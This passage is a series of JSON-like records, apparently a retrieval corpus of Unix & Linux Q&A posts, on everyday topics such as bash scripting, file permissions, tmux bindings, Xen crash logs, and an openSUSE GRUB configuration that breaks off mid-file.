of memory available, but apparently there's still a resource conflict."} {"_id": "124010", "title": "Restart a process when I get stderr from another process", "text": "I have this constantly running process which POSTs some data collected locally to an endpoint. Now there is some issue in the raspberryPi wifi module and it drops connection frequently. After restarting networking, it starts working again. So this is what I have right now based on the face that everytime internet disconnects, proc1 starts throwing stderr: while true; do ./proc1 2>&1 >/dev/null | sudo /etc/init.d/networking restart done & But this code restarts networking multiple times, not sure why. What I actually want is something like this: while true: if proc1 has stderr: sudo /etc/init.d/networking restart; sleep 10; So my question are: 1. How can I convert that pseudocode to bash? 2. This is a hack to get around the actual problem of networking drops, how can I debug what\u2019s wrong?"} {"_id": "124013", "title": "Easiest way to chown the contents of a directory?", "text": "I often use ls -ld . # remember current user and group chown -R user.group . chown remembered_user.remembered_group . Isn't there an easier way to recursively chown all files and directories in a directory but not the directory itself? It should include hidden files and work no matter how many files there are."} {"_id": "140795", "title": "How to convert, resize and center image with ImageMagick", "text": "I'm unable to center a converted *.png file with ImageMagick's gravity option. Gravity seems to have no effect in the following command. On the contrary it erases everything and the output becomes white page. convert puma1.png -compress jpeg \\ -resize 1755x2475 \\ -units PixelsPerInch \\ -density 150x150 \\ -page A3 \\ -gravity center puma1.pdf ImageMagick version is 6.8.6-9 2014-03-06 Q16."} {"_id": "21776", "title": "Script or tool for maintenance (archive/remove old files, clean temporal files, etc\u2026) on Unix/Linux", "text": "Everybody have the same problem: How to deal with old files, logs, temporal files to archive them (compress, store in alternate locations), delete unneeded, etc. them Specially if you have to deal with a lot of home-brew and third-party software and tools, that basically fill the disk do not care about their logs/temp files. Now I am using my own shell scripts using find, logrotate, tar, etc... But everything is too adhoc for my taste, and not efficient at all. I would love some kind of generic tool, based on patterns and rules/actions that will allow define actions on the files based on their name, age, etc. I wanna write it, but I am sure that somewhere wrote something: Do you know any?"} {"_id": "140791", "title": "Error creating ext4 file system", "text": "Recently I purchased a Cubietruck Cubieboard 3, and I'm trying to copy Lubuntu server from the builtin NAND memory to a hard disk. I can create a partition successfully, but when I go to format the partition with ext4, using `mkfs.ext4 /dev/sda1`, I get a bunch of errors, which all look the same: Writing inode tables: done Creating Journal (32768 blocks): done Writing superblocks and filesystem accounting information: [ 815.XXXXXX] ata1.00: exception Emask 0x0 SAct 0x1 SErr 0x0 action 0x0 [ 815.XXXXXX] ata1.00: irq_stat 0x40000000 [ 815.XXXXXX] ata1.00: failed command: READ FPDMA QUEUED [ 815.XXXXXX] ata1.00: cmd 60/08:00:00:08:1c/00:00:00:00/40 tag 0 ncq 4096 in [ 815.XXXXXX] res 41/40:00:02:08:1c/00:00:00:00/60 Emask 0x409 (media error) [ 815.XXXXXX] ata1.00: status: { DRDY ERR } [ 815.XXXXXX] ata1.00: error: { UNC } [...] above 7 lines repeated 5x, each with a 6 second time difference [ 845.XXXXXX] end_request: I/O error, dev sda, sector 1837058 I don't think it is the drive, because it is new, and I can also format it on Elementary (Ubuntu). If I format it from Elementary, I can then not mount it on my Cubieboard."} {"_id": "121229", "title": "Find all files that have been last modified on a specific day - like Monday?", "text": "So I want to use `find` to return a list of all .html files in a given directory that have been last modified on a Monday. How can I do this?"} {"_id": "140792", "title": "Could it cause any problem if I not reboot after a kernel upgrade?", "text": "I know there are solution for not rebooting after kernel update: https://en.wikipedia.org/wiki/Ksplice But If Ksplice isn't installed, and the user doesn't reboots it's notebook after even several kernel updates (so notebook running for even months). Could there be a problem about it? (not counting that an update probably came because there was a bugfix or security fix)"} {"_id": "125765", "title": "What's the main difference between bash and zsh?", "text": "Someone told me that some commands in zsh shell may differ from the bash shell commands. So what's the main difference between zsh and bash shells?"} {"_id": "125764", "title": "Bash Ping to return 'alive' IP addresses", "text": "(Disclaimer- I know this can be done more easily with `nmap`, but its supposed to be practice for bash shell scripting). $ scriptname 192.168.42 18 23 Checking: 192.168.42.18 19 20 21 22 23 Live hosts: 192.168.42.21 192.168.42.22 There were: 5 alive hosts 1 not alive hosts found through the use of 'ping'. Above is what I want the output to look like. 'Checking: ...' will list whatever IP is being checked. All of the Live ones will be listed under \"Live Hosts\" and then running totals for alive and not-alive. Here is what I have so far for i in `seq ${2} ${3}` do ping -c 1 -t 1 ${1}.${i} > /dev/null 2>&1; if [ $? -eq 0 ]; then echo \"Live hosts: \\n ${1}.${i}\"; LIVECOUNT=$( ???? ) fi done The `LIVECOUNT=$( ???? )` because I don't know what to put in it. I'm not sure how to keep a running total for living/non living ones. The 'Live Hosts' and 'There were' sections don't need to appear until the checking is complete."} {"_id": "121220", "title": "virtmanager- Unable to locate libvirtd daemon", "text": "I tried starting Virt-manager but get this error Unable to connect to libvirt. internal error: Unable to locate libvirtd daemon in /usr/sbin (to override, set $LIBVIRTD_PATH to the name of the libvirtd binary) Hi, I tried to start virtmanagerr (installed via mint software center) but get this? Libvirt URI is: qemu:///system Traceback (most recent call last): File \"/usr/share/virt-manager/virtManager/connection.py\", line 1027, in _open_thread self.vmm = self._try_open() File \"/usr/share/virt-manager/virtManager/connection.py\", line 1009, in _try_open flags) File \"/usr/lib/python2.7/dist-packages/libvirt.py\", line 102, in openAuth if ret is None:raise libvirtError('virConnectOpenAuth() failed') libvirtError: internal error: Unable to locate libvirtd daemon in /usr/sbin (to override, set $LIBVIRTD_PATH to the name of the libvirtd binary)"} {"_id": "121221", "title": "Display manager unrecognised service, trying to disable \"x server\" to install nvidia driver, debian wheezy", "text": "First time install of Debian wheezy. My nvidia 580gtx GPU is crashing GNOME and the computer. To get it to boot I had to use `nouveau.modeset=0` in GRUB. Now that I'm in, I want to install the newest NVidia driver so I can boot normally, but when I try and install it, it tells me to disable \"x server\". I've tried: $ sudo service xdm stop $ sudo service lightdm stop $ sudo service gdm stop but they all fail. What am I doing wrong?"} {"_id": "125155", "title": "Compare two files for matching lines and store positive results", "text": "I have two files. ### File 1: A0001 C001 B0003 C896 A0024 C234 . B1542 C231 . upto 28412 such lines ### File 2: A0001 A0024 B1542 . . and 12000 such lines. I want to compare File 2 against File 1 and store the matching lines from File 1. I tried Perl and Bash but none seems to be working. The latest thing I tried was something like this: for (@q) # after storing contents of second file in an array { $line =`cat File1 | grep $_`; #directly calling File 1 from bash print $line; } but it fails."} {"_id": "125762", "title": "Compare first column in different files", "text": "I want to compare one file with other files in the same directory. `file1.txt` contains: move 34#123# get 11#278 put 33#29#567#23 `file1.txt` should compare with files `1.txt` and `2.txt`. `1.txt` contains: move 11 put 34 run 13 `2.txt` contains: get 14 move 66 I need the results to be like this: move 2 get 1 put 1 How can I accomplish this?"} {"_id": "71271", "title": "Environment variable does not seem to work in sudo", "text": "I use apt behind a firewall, so I specify a proxy in the `http_proxy` environment variable. What I have done is added the following line to both `.profile` and `.bashrc` (for good measure) of the root user: export http_proxy=http://proxyserver:8080 When I do the following, it prints the value of the proxy correctly: sudo echo $http_proxy However, when I call `sudo apt-get update`, it does not seem to see the `http_proxy` variable as the root user. Only when I su to root, `apt-get` works as expected, through the proxy, so it obviously sees the variable. So my question is, as above, why does `sudo apt-get` not see the variable? **UPDATE** I have just learned that when I call `sudo echo`, it echoes the value of the variable set in the current user's profile. But even so, why does `sudo apt-get` not use that variable value?"} {"_id": "77605", "title": "Change working directory", "text": "I'm trying to compress a directory at /home/cyrus/sql And I wanted to change the working directory when zipping the folder: / $ zip -b /home/cyrus sql.zip /home/cyrus/sql But when I check the zip file: / $ unzip -l sql.zip Archive: sql.zip Length Date Time Name --------- ---------- ----- ---- 0 2013-05-30 10:59 home/cyrus/sql/ 1776642 2013-05-23 10:22 home/cyrus/sql/wordpress.sql --------- ------- 1776642 2 files The root folder should have been `sql`. What have I done wrong?"} {"_id": "71274", "title": "Crash analysis and 4 levels of page table", "text": "I am having xen 3.4.2 running with 15 vm (pv+hvm) on a host with 256 Gb RAM and 96 core CPU. But recently my host crashed on debug log its showing translating ffff83183fcb0000 with CR3 100ae42000 and 4 levels of page table. after so many similar lines its showing cannot translate address 0 < ffff830000000000 without cr3 From my understanding of xen pv is that, hypervisor gives pv direct access to physical RAM but hypervisor cross checks all the call to physical memory rather than using shadow pages. So it has less overhead in virtual memory to physical conversion,as its aware about actual mapping. But in case of HVM hypervisor needs to translate guests memory to physical ram. So can anyone explain me from above translation that its for hvm ram translation hypervisor is doing or will it happen in pv also? and on crash.log its showing (XEN) grant_table.c:1408:d0 dest domain 452 dying (XEN) p2m_pod_cache_get: Breaking up superpage. (XEN) mm.c:741:d421 Non-privileged (421) attempt to map I/O space 00000000 (XEN) mm.c:741:d421 Non-privileged (421) attempt to map I/O space 000000f0 (XEN) mm.c:741:d352 Non-privileged (352) attempt to map I/O space 00000000 (XEN) mm.c:741:d352 Non-privileged (352) attempt to map I/O space 000000f0 (XEN) mm.c:741:d249 Non-privileged (249) attempt to map I/O space 00000000 (XEN) mm.c:741:d249 Non-privileged (249) attempt to map I/O space 000000f0 (XEN) grant_table.c:1408:d0 dest domain 450 dying This is the second crash in a month. I have seen many system programming related questions here thats why i posted it here."} {"_id": "141228", "title": "Control + L not clearing screen", "text": "When I try to clear my terminal screen on OSX: computer@ ~ () $ ^L And when I hit `Enter` after that it just shows: -bash: : command not found Any ideas on how this happens? My `.bash_profile`, `.profile`, and `.bashrc` are empty."} {"_id": "141229", "title": "Connecting to Verizon Mifi (wirelss hotspot) breaks everything", "text": "This question is obviously network related, but I thought it would be more appropriately placed in this forum because it's really not so much a connectivity issue. I recently got my hands on one of those Verizon Wireless Hotspot Mifi devices: ![enter image description here](http://i.stack.imgur.com/ySwYr.png) I observed that everything on my install works great until I actually connect to the device. Once connection is established my computer is rendered virtually useless. Specifically, I cannot run any programs (chromium, terminal, anything). Interestingly, if I boot up and start an instance of chromium and a terminal then those specific instances will continue to (partially) work until I close them, but no new instances can be created. I say partially because I did notice that pages began to load incompletely after a while and eventually the open instance ceased to work as well. Upon reboot everything works just as it should - unless of course I connect to that wireless hotspot again. Any ideas?"} {"_id": "141227", "title": "How to enable \"Predictable Network Interface Names\"?", "text": "I decided to check out what name my ethernet device will end up with, but contrary to other distros, Debian doesn't seem to have activated this change (or is holding it back?), * Keep the old persistent network interface naming scheme for now and make the new one opt-in via net.ifnames=1 on the kernel command line. The problem is that I have to edit the grub kernel lines, and that seems like overkill for something that can be disabled by modifying a file. Is there another way?"} {"_id": "141224", "title": "dot command in Vim, last change?", "text": "The dot command in Vim repeats the \"last change\", but I am not exactly sure what constitutes the \"last change\". For example, if I type the sequence: > A;{ESC}j. Then a semi-colon is appended to the current line, but I have to type \"j\" again. In other words, the dot macro only does \"A;{ESC}\", so apparently the ESC is defining the end of the \"last change\". Why doesn't it include the \"j\" as well?"} {"_id": "141222", "title": "How do I re-map the changing pane keys in tmux?", "text": "I want `Prefix` + `Up`,`Down`,`Left`,`Right` to be mapped to `Prefix` + `Ctrl``h`, `Ctrl``j`, `Ctrl``k`,`Ctrl``l`. I tried: bind-key C-h Left bind-key C-j Down bind-key C-k Up bind-key C-l Right But it didn't really work: it said \"Unknown Command: Right\". How do I specify this correctly? I went to `man tmux` to see the command under KEY BINDINGS and it did say Up, Down, Left, Right were the correct command for it. I am confused why the official tmux manual would say those commands when they don't actually exist like that, or what am I doing wrong?"} {"_id": "153725", "title": "regexp which matches all tokens independent of order", "text": "I have a quick (and hopefully simple) question about regexps. I'm trying to think of a regexp which matches all of a set of tokens irrespective of order. So for example I have a file with the names of the US states thus Abbreviation:State name:Capital:Became a state AL:Alabama:Montgomery:December 14, 1819 AK:Alaska:Juneau:January 3, 1959 AZ:Arizona:Phoenix:February 14, 1912 ... WI:Wisconsin:Madison:May 29, 1848 WY:Wyoming:Cheyenne:July 10, 1890 Say I wanted to find all states which had the letters \"A\", \"R\" and \"N\" in their names (case insensitive). I could do a $ cut -d: -f2 states.txt | tail -n +2 | grep -i a | grep -i r | grep -i n which sure enough produces Arizona Arkansas California Maryland Nebraska New Hampshire North Carolina North Dakota Rhode Island South Carolina Virginia West Virginia Is there any way of matching all three letters if they occur in any order using a single regexp?"} {"_id": "123296", "title": "What is the symbol *.* called?", "text": "What's the name for the *.* symbol and what is its significance?"} {"_id": "128068", "title": "Changing systemd HandleLidSwitch setting during run-time?", "text": "The setting `HandleLidSwitch` is defined in `/etc/systemd/logind.conf` as follows: `HandleLidSwitch= ` The setting is applied successfully on boot. However, I would like to change the setting during run-time depending on the AC state: If my laptop is charging, use `HandleLidSwitch=ignore`. If my laptop is on battery, use `HandleLidSwitch=suspend`. Is this somehow possible to realise with current systemd?"} {"_id": "85538", "title": "How can I create my own spelling file for vim?", "text": "At the moment I'm writing a document where need to use a lot of acronyms, technical language, and non German words. Now I was thinking if I could create a spelling file (`tech_speak`) which checks for this technical language so I can use the following vim command :set spelllang=de,tech_speak spell How could this be done?"} {"_id": "85539", "title": "Messages from syslogd, what do they mean and what do I do?", "text": "Recently, these messages started popping up straight into my prompt when I'm connected to the OpenSUSE system in question via PuTTY: Message from syslogd@host at Aug 5 11:04:03 ... kernel:[ 6177.851012] EIP: [<75c0234e>] 0x75c0234e SS:ESP 0068:f324dde1 Message from syslogd@host at Aug 5 11:15:01 ... kernel:[ 6836.654020] Process sh (pid: 6245, ti=f2bee000 task=f32fd2b0 task.ti=f2bee000) Message from syslogd@host at Aug 5 11:15:01 ... kernel:[ 6836.654020] Stack: Message from syslogd@host at Aug 5 11:15:01 ... kernel:[ 6836.654020] Call Trace: Message from syslogd@host at Aug 5 11:15:01 ... kernel:[ 6836.654020] Inexact backtrace: Message from syslogd@host at Aug 5 11:15:01 ... kernel:[ 6836.654020] Message from syslogd@host at Aug 5 11:15:01 ... kernel:[ 6836.654020] Code: Bad EIP value. Message from syslogd@host at Aug 5 11:15:01 ... kernel:[ 6836.654020] EIP: [<75c0234e>] 0x75c0234e SS:ESP 0068:f2befead I know some very basic stuff about Linux but this catches me off guard. What does this mean? How do I troubleshoot? **edit** Turns out the system is actually unreachable now, while it does reply to ping I cannot connect via SSH to it. Is there anything I can do physically on the machine?"} {"_id": "55423", "title": "How to change cursor shape, color, and blinkrate of Linux Console?", "text": "I know I can change some fundamental settings of the Linux console, things like fonts, for instance, with `dpkg-reconfigure console-setup`. But I'd like to change things like blinkrate, color, and shape (I want my cursor to be a block, at all times). I've seen people accomplishing this. I just never had a chance to ask those people how to do that. _I don't mean terminal emulator windows, I mean the Linux text console, you reach with` Ctrl`+`Alt`+`F-key`_ I'm using Linux Mint at the moment, which is a Debian derivate. I'd like to know how to do that in Fedora as well, though. * * * _**Edit:** I might be on to something_ I learned from this website, how to do the changes I need. But I'm not finished yet. I've settled on using `echo -e \"\\e[?16;0;200c\"` for now, but I've got a problem: when running applications like `vim` or `irssi`, or attaching a screen session, the cursor reverts back to being a blinking gray underscore. And of course, it only works on this one `tty` all other text consoles are unaffected. So how can I make those changes permanent? How can I populate them to other consoles?"} {"_id": "128061", "title": "Update jails FreeBSD in silent mode", "text": "What if I want to add all process to the cron? Is there silent way to upgrade jail? After these steps: # make buildworld # make installworld DESTDIR=/jails/somejail It comes time to: # mergemaster -Ui -D /jails/somejail How to automate this process as asking so many questions during this operation (mean mergemaster) ? I want all my config files to stay untouched."} {"_id": "85249", "title": "Determining the path of an executable", "text": "When looking for the path to an executable or checking what would happen would you enter a command name in a Unix shell, there's a plethora of different utilities (`which`, `type`, `command`, `whence`, `where`, `whereis`, `whatis`, `hash`...). We often hear that `which` should be avoided. Why? What should we use instead?"} {"_id": "150512", "title": "`command` vs `type` - Locate program file in user's PATH", "text": "I need locate program file in user's PATH. I found few solution, the best are `command` and `type`. Which is better, faster, UNIX-like way and why? command -v type -p "} {"_id": "108752", "title": "'which' reports one thing, actual command is another", "text": "I am running Ubuntu 12.04, which came with Cmake v 2.8.7. I had need for a more current CMake, so I downloaded the source for 12.8.12.1, built, and installed it per directions. The last step, `make install` I ran `sudo`ed. ./bootstrap make sudo make install Now I want to run it, but I find that the old version is still invoked when I execute `cmake` from the command line: jdibling@hurricane:/$ cd /; cmake --version; which cmake cmake version 2.8.7 /usr/local/bin/cmake jdibling@hurricane:/$ Odd, I think. So I `su` and try it from there: root@hurricane:~# cd /; cmake --version; which cmake cmake version 2.8.12.1 /usr/local/bin/cmake root@hurricane:/# Why does `which` report the same directory, but `cmake --version` reports different versions? How can I find where the new `cmake` was actually installed? As suggested, I ran `type`: jdibling@hurricane:/tmp/cmake-2.8.12.1$ type cmake cmake is hashed (/usr/bin/cmake) jdibling@hurricane:/tmp/cmake-2.8.12.1$ sudo su - root@hurricane:~# type cmake cmake is /usr/local/bin/cmake root@hurricane:~#"} {"_id": "126134", "title": "Is there an alternative to the `which` command?", "text": "If the `which` command is not available, is there another 'standard' method to find out where a command's executable can be found? If there is no other 'standard' method available, the actual system I face currently is a bare Android emulator with an `ash` Almquist shell, if that means anything."} {"_id": "128063", "title": "Linux make 1 big from 3 smaller pictures", "text": "I need to automate a task where I have smaller jpg/png images what I would like to merge into 1 big picture by placing them in a square area. Obviously to do this I would need to open gimp every time. Create a new big image, like 1920x1200 and open the 4 smaller images, select them and copy paste them into the new one and save it. The solution I looking for don't have to be the pretties, it's enough if it \"just works\" tm. Thanks"} {"_id": "42916", "title": "How do I get rid of the small nub in the bottom right corner of my terminal?", "text": "I'm setting up XMonad within Linux Mint, and I've been able to remove the menubar and the scrollbar from my terminal windows, but I can't get rid of the small resizing nub in the bottom right corner. Here's a screenshot: ![terminal with offending nub](http://i.stack.imgur.com/KAJQE.png) I think it's feature of Linux Mint (maybe?), but it serves no purpose because of the nature of XMonad, so I'd love to get rid of it. It's gnome-terminal, by the way. I assume that's important. Edit: Ok, it's a feature of gnome-terminal, because xterm and rxvt don't have it. So I guess my question is: How can I remove the nub from gnome-terminal? One answer is just \"use a different emulator\", but I'm hoping there's a way to get rid of it."} {"_id": "85536", "title": "How to change colors of all running urxvt instances?", "text": "I'm used to black background and light green text when working on my urxvt terminals. But sometimes, when I take my laptop outside, it becomes hard to read and I'd like to change the colors of all my urxvt instances to black on white, without having to shut them down and reopen again. Is it possible, and if yes, how?"} {"_id": "85537", "title": "How to hide someone else's directories from a user?", "text": "I have several folders: /home/user1/ -u user1 -G user1 /home/user2/ -u user2 -G user2 /home/user3/ -u user3 -G user3 I created three users user1, user2, user3. Each user has own group. Any user can see other account folder for a while but cannot open it. After user2 logged in using ssh he shouldn't see any folders downto its folder `/home/user2/`. He should see only folders in `/home/user2/`. How to set these permissions?"} {"_id": "42913", "title": "Create a fake shell in Linux?", "text": "I am not talking about shell programming or making a whole new shell like Bourne or Korn Shell.... I just want a user accessing ftp through port 21 to be directed to this shell which can support some of the basic commands a shell uses! I Googled the very same...but didn't find any satisfactory results."} {"_id": "128066", "title": "Strange issue with xml_split in Linux", "text": "I am using the code `xml_split` from https://metacpan.org/pod/distribution/XML-Twig/tools/xml_split/xml_split to split a huge XML file. I am facing a strange issue with this. First, I tried the `xml_split` for splitting a `12 MB` XML file to smaller pieces of `2 MB` each. I used the following command: ./xml_split -s 2Mb small_file.xml It worked perfectly and created around 6 small XML files. Next, I tried with a 100 MB file. ./xml_split -s 2Mb big_file.xml It completed without any error, but it created a single file which was of the same size as the source file. Again, I tried with my biggest file, of around `15 GB`. ./xml_split -s 2Mb biggest_file.xml It went on to create a single file, and I killed the process when the file size exceeded `500 MB`. I am not sure what to make of this behavior since the same code in the same environment is working for the small file, but not for any of the bigger ones. Also, I can't find any similar issue reported at the Metacpan website. I was wondering whether there could be some system limit on my machine which could be causing this. I am on `Ubuntu 12.04.4 LTS`. Thanks, TM **_Edit:_** Instead of using the source file from the link I provided, I installed using `sudo apt-get install xml-twig-tools`, but the issue remains. I also got a colleague to do this on his system and the `xml_split` on the `15 GB` file is working on his desktop (Ubuntu)"} {"_id": "75601", "title": "Tracing system call on Ubuntu 12.04", "text": "The main task I have to carry out, is to trace the system call of processes in ubuntu 12.04 LTS. Problem is, I am unable to trace them continuously, i.e. as soon as they are added to the system, they should get traced. Is there any kind of signal or interrupt which can inform the user about a newly added process in the system?"} {"_id": "88477", "title": "How do I send text to a USB device?", "text": "I'm trying to get the \"Torobot\" USB servo controller to work with Angstrom on a Beagle Board XM. The servo controller registers as a USB device. The device just takes simple text commands, but there is no TTY associated with it. So I'm not sure how to send commands to it. Can I just send data like this (assuming that 002/005 is the device): $ cat file.txt >> /dev/bus/usb/002/005 Or do I need to associate it with the generic USB device? If so, how do I do that?"} {"_id": "75606", "title": "Problems with accessing files on a Sansa Clip mp3 player", "text": "I have problems with accessing my mp3 player (Sansa Clip) on my Linux Mint. When I plug in the player, it does mount, but seems to be empty - well ... there are built in directories and config files, here goes tree output: . \u251c\u2500\u2500 AUDIBLE \u251c\u2500\u2500 AUDIOBOOKS \u251c\u2500\u2500 DID.bin \u251c\u2500\u2500 MTABLE.SYS \u251c\u2500\u2500 MUSIC \u251c\u2500\u2500 PODCASTS \u251c\u2500\u2500 RECORD \u2502\u00a0\u00a0 \u251c\u2500\u2500 FM \u2502\u00a0\u00a0 \u2514\u2500\u2500 VOICE \u251c\u2500\u2500 RES_INFO.SYS \u251c\u2500\u2500 SYS_CONF.SYS \u2514\u2500\u2500 version.sdk 7 directories, 5 files I have no idea whats going on, I've changed the USB mode to MSC, but it didn't helped. P.S. When I tried to open it with banshee - it displayed on the bottom bar that there are no audio files, no video files, 2.3GB of \"other files\" and 5GB of free space."} {"_id": "75605", "title": "Find and copy directories containing file type", "text": "I have a directory \"Movies\" containing subdirectories \"Movie Name\". Each subdirectory \"Movie Name\" contains a movie file and related image/nfo files etc. I'm trying to copy all directories containing movie file of type \".avi\" to an external usb device. So if `Directory/subdirectory A` contains `movie.avi`, `poster.jpg` and `movie.nfo`, then I want to copy that directory and its contents to the external drive. I've tried this: find . -name \"*.avi\" -printf \"%h\\n\" -exec cp {} /share/USBDisk1/Movies/ \\; But it only copies the file, not the directory and file contents."} {"_id": "51820", "title": "vim latex: disable quickfix", "text": "How can I disable latex's quickfix feature when editing tex files (having vimlatex installed). But I want to keep it for any other language\u2026 Pretty sure this is just a small flag, didn't find it 'though."} {"_id": "103794", "title": "Bad blocks only with extension cord?", "text": "My external hard drive was acting strangely, so I ran badblocks, and it seemed that nearly every block was bad from the first minute I ran it. If I did `badblocks -v > file`, the file was over 100MB after only seconds of running it. Then, for the hell of it, I ran badlocks on the same drive without using the 10 foot USB3 extension cable I've been using, and it's at 5% with no errors. Also, if I interrupt badblocks with the cord, it will show up as a different drive name (/dev/sdb, run badblocks and quit, and the drive is now /dev/sdc), and I haven't been able to reproduce this without the cord. Is it possible for badblocks to be wrong and complain about a perfect drive?"} {"_id": "75609", "title": "How to convert grub config to use kernel device names instead of UUID", "text": "I've got a bunch of identical systems on which I want to clone the same openSUSE 12.3 installation. I've set up clonezilla on PXE server. After appling the disk-image of on another machine, it fails to boot. This is because all the partitions are referred to be their UUIDs instead of the kernel-assigned name (sda1, sda2, etc). How do I configure grub to be using the kernel names instead of the UUID so that the image can be truly ported to the other systems? I have tried setting `GRUB_DISABLE_LINUX_UUID=true` in `/etc/default/grub` and then run `grub2-mkconfig -o /boot/grub2/grub.cfg`. I have also changed the entry in `/etc/fstab`. After these changes, the system still boots fine on the source machine, but doesn't boot on all the others. Grub loads, but only shows the word \"GRUB\" and thats all. Nothing else happens. My current `grub.cfg` is the following: # # DO NOT EDIT THIS FILE # # It is automatically generated by grub2-mkconfig using templates # from /etc/grub.d and settings from /etc/default/grub # ### BEGIN /etc/grub.d/00_header ### if [ -s $prefix/grubenv ]; then load_env fi set default=\"${saved_entry}\" if [ x\"${feature_menuentry_id}\" = xy ]; then menuentry_id_option=\"--id\" else menuentry_id_option=\"\" fi export menuentry_id_option if [ \"${prev_saved_entry}\" ]; then set saved_entry=\"${prev_saved_entry}\" save_env saved_entry set prev_saved_entry= save_env prev_saved_entry set boot_once=true fi function savedefault { if [ -z \"${boot_once}\" ]; then saved_entry=\"${chosen}\" save_env saved_entry fi } function load_video { if [ x$feature_all_video_module = xy ]; then insmod all_video else insmod efi_gop insmod efi_uga insmod ieee1275_fb insmod vbe insmod vga insmod video_bochs insmod video_cirrus fi } if [ x$feature_default_font_path = xy ] ; then font=unicode else insmod part_msdos insmod ext2 set root='hd0,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos5 --hint-efi=hd0,msdos5 --hint-baremetal=ahci0,msdos5 --hint='hd0,msdos5' 5613d48c-eedb-4389-91bc-e49de73a1cc4 else search --no-floppy --fs-uuid --set=root 5613d48c-eedb-4389-91bc-e49de73a1cc4 fi font=\"/usr/share/grub2/unicode.pf2\" fi if loadfont $font ; then set gfxmode=auto load_video insmod gfxterm set locale_dir=$prefix/locale set lang=en_US insmod gettext fi terminal_output gfxterm insmod part_msdos insmod ext2 set root='hd0,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos5 --hint-efi=hd0,msdos5 --hint-baremetal=ahci0,msdos5 --hint='hd0,msdos5' 5613d48c-eedb-4389-91bc-e49de73a1cc4 else search --no-floppy --fs-uuid --set=root 5613d48c-eedb-4389-91bc-e49de73a1cc4 fi insmod gfxmenu loadfont ($root)/boot/grub2/themes/openSUSE/ascii.pf2 loadfont ($root)/boot/grub2/themes/openSUSE/DejaVuSans10.pf2 loadfont ($root)/boot/grub2/themes/openSUSE/DejaVuSans12.pf2 loadfont ($root)/boot/grub2/themes/openSUSE/DejaVuSans-Bold14.pf2 insmod png set theme=($root)/boot/grub2/themes/openSUSE/theme.txt export theme if [ x${boot_once} = xtrue ]; then set timeout=0 elif sleep --interruptible 0 ; then set timeout=5 fi ### END /etc/grub.d/00_header ### ### BEGIN /etc/grub.d/10_linux ### menuentry 'openSUSE 12.3' --class 'opensuse-12-3' --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-simple-5613d48c-eedb-4389-91bc-e49de73a1cc4' { load_video set gfxpayload=keep insmod gzio insmod part_msdos insmod ext2 set root='hd0,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos5 --hint-efi=hd0,msdos5 --hint-baremetal=ahci0,msdos5 --hint='hd0,msdos5' 5613d48c-eedb-4389-91bc-e49de73a1cc4 else search --no-floppy --fs-uuid --set=root 5613d48c-eedb-4389-91bc-e49de73a1cc4 fi echo 'Loading Linux 3.7.10-1.4-default ...' linux /boot/vmlinuz-3.7.10-1.4-default root=/dev/sda5 splash=silent acpi=on barrier=off reboot=pci init=linuxrc splash=silent quiet showopts echo 'Loading initial ramdisk ...' initrd /boot/initrd-3.7.10-1.4-default } submenu 'Advanced options for openSUSE 12.3' $menuentry_id_option 'gnulinux-advanced-5613d48c-eedb-4389-91bc-e49de73a1cc4' { menuentry 'openSUSE 12.3, with Linux 3.7.10-1.4-default' --class 'opensuse-12-3' --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.7.10-1.4-default-advanced-5613d48c-eedb-4389-91bc-e49de73a1cc4' { load_video set gfxpayload=keep insmod gzio insmod part_msdos insmod ext2 set root='hd0,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos5 --hint-efi=hd0,msdos5 --hint-baremetal=ahci0,msdos5 --hint='hd0,msdos5' 5613d48c-eedb-4389-91bc-e49de73a1cc4 else search --no-floppy --fs-uuid --set=root 5613d48c-eedb-4389-91bc-e49de73a1cc4 fi echo 'Loading Linux 3.7.10-1.4-default ...' linux /boot/vmlinuz-3.7.10-1.4-default root=/dev/sda5 splash=silent acpi=on barrier=off reboot=pci init=linuxrc splash=silent quiet showopts echo 'Loading initial ramdisk ...' initrd /boot/initrd-3.7.10-1.4-default } menuentry 'openSUSE 12.3, with Linux 3.7.10-1.4-default (recovery mode)' --class 'opensuse-12-3' --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.7.10-1.4-default-recovery-5613d48c-eedb-4389-91bc-e49de73a1cc4' { load_video set gfxpayload=keep insmod gzio insmod part_msdos insmod ext2 set root='hd0,msdos5' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos5 --hint-efi=hd0,msdos5 --hint-baremetal=ahci0,msdos5 --hint='hd0,msdos5' 5613d48c-eedb-4389-91bc-e49de73a1cc4 else search --no-floppy --fs-uuid --set=root 5613d48c-eedb-4389-91bc-e49de73a1cc4 fi echo 'Loading Linux 3.7.10-1.4-default ...' linux /boot/vmlinuz-3.7.10-1.4-default root=/dev/sda5 showopts apm=off noresume edd=off powersaved=off nohz=off highres=off processor.max_cstate=1 nomodeset x11failsafe echo 'Loading initial ramdisk ...' initrd /boot/initrd-3.7.10-1.4-default } } ### END /etc/grub.d/10_linux ### ### BEGIN /etc/grub.d/20_linux_xen ### ### END /etc/grub.d/20_linux_xen ### ### BEGIN /etc/grub.d/20_memtest86+ ### ### END /etc/grub.d/20_memtest86+ ### ### BEGIN /etc/grub.d/20_ppc_terminfo ### ### END /etc/grub.d/20_ppc_terminfo ### ### BEGIN /etc/grub.d/30_os-prober ### menuentry 'Windows 7 (loader) (on /dev/sda1)' --class windows --class os $menuentry_id_option 'osprober-chain-52EA4C7AEA4C5C7B' { insmod part_msdos insmod ntfs set root='hd0,msdos1' if [ x$feature_platform_search_hint = xy ]; then search --no-floppy --fs-uuid --set=root --hint-bios=hd0,msdos1 --hint-efi=hd0,msdos1 --hint-baremetal=ahci0,msdos1 --hint='hd0,msdos1' 52EA4C7AEA4C5C7B else search --no-floppy --fs-uuid --set=root 52EA4C7AEA4C5C7B fi chainloader +1 } ### END /etc/grub.d/30_os-prober ### ### BEGIN /etc/grub.d/40_custom ### # This file provides an easy way to add custom menu entries. Simply type the # menu entries you want to add after this comment. Be careful not to change # the 'exec tail' line 